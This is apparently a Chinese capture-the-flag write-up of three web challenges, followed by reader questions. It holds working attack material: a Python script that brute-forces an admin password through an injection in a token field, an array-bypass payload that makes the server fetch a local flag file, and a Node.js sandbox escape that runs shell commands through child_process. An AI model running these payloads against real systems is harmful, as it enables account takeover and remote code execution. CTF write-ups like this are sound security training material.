Package Manager
考察:sql注入
给出了源码,可以找到注入点,这里可以绕过token
尝试闭合202cb962ac59075b964b07152d234b70"||this.username=="admin
直接跳转到了/packages/submit
,可以注入,
直接跑密码
import requests
import string
passwd = ""
for i in range(0,50):
for j in string.printable:
burp0_url = "http://b832bf26-de3a-4658-8c5e-633620752d87.node4.buuoj.cn:81/auth"
burp0_cookies = {"session": "s%3APjMgE09JHbBDVC1O_4dh_B0bPr7BI1uS.Q%2BX7uMZuNWiJVnXwGIRptf3HdTu2ZHdRNf0PhPDdWio"}
burp0_data = {"_csrf": "n76kZA7T-bAVf3KIV9xREBKqvVpKXkfAGUi0", "token": "202cb962ac59075b964b07152d234b70\"||this.password[{}]==\"{}".format(i,j)}
res=requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data,allow_redirects=False)
if res.status_code == 302:
passwd += j
print(passwd)
得到密码
登陆得到flag
secrets_of_admin
分析源码,首先在database.ts里找到了用户名和密码
成功登陆
这里输入content拼接进template模板里面,生成pdf,
通过/api/files/:id页面里面读取我们存放的文件内容
这里什么利用点,可以看到本机访问的内容可控,这里是个利用点
构造xss可以用数组绕过
expcontent[]=<img%20src="http://127.0.0.1:8888/api/files?username=admin%26filename=/../files/flag%26checksum=laotun">
然后访问/api/files/laotun即可得到flag
cralwer_z
直接审计源码,在登陆和注册的地方没发现利用点,直接注册登录
可以看到只有这一个地方可以修改,查找课利用点
可以看到这个goto函数,猜测是请求
跳转函数发现是能直接访问bucket
这里肯定是利用点,查看修改处,分析可以看出来,这里是先提交信息然后生成一个token,再跳转去/user/verify
这里还会对bucket进行验证,只要在链接最后面加上oss-cn-beijing.ichunqiu.com即可绕过
重定向到/user/verify,带着token,首先判断token然后失效,再修改bucket
想要修改bucket就需要先生成token,再进行bucket覆盖,再让产生的token那个包进行重定向
首先获取token
再进行覆盖
然后再重定向token,可以看到成功覆盖
buu的环境有点问题,一直反弹shell不成功,只能直接读取flag
<script>
a=this.constructor.constructor.constructor.constructor('return process')();b=a.mainModule.require('child_process');c=b.execSync('cat /flag').toString();document.write(c);
</script>
访问/user/bucket获取flag
你好,请问packagemanager里面的”_csrf”是题目哪里提示的?我一直没找到。请指教。
这个csrf,发送token的时候你用bp抓包就有了
你好,请问一下,cralwer_z这个题目里,profile不是会把其他token的valid都改成false吗,那在第二次覆盖的时候是怎么保证verify通过的呢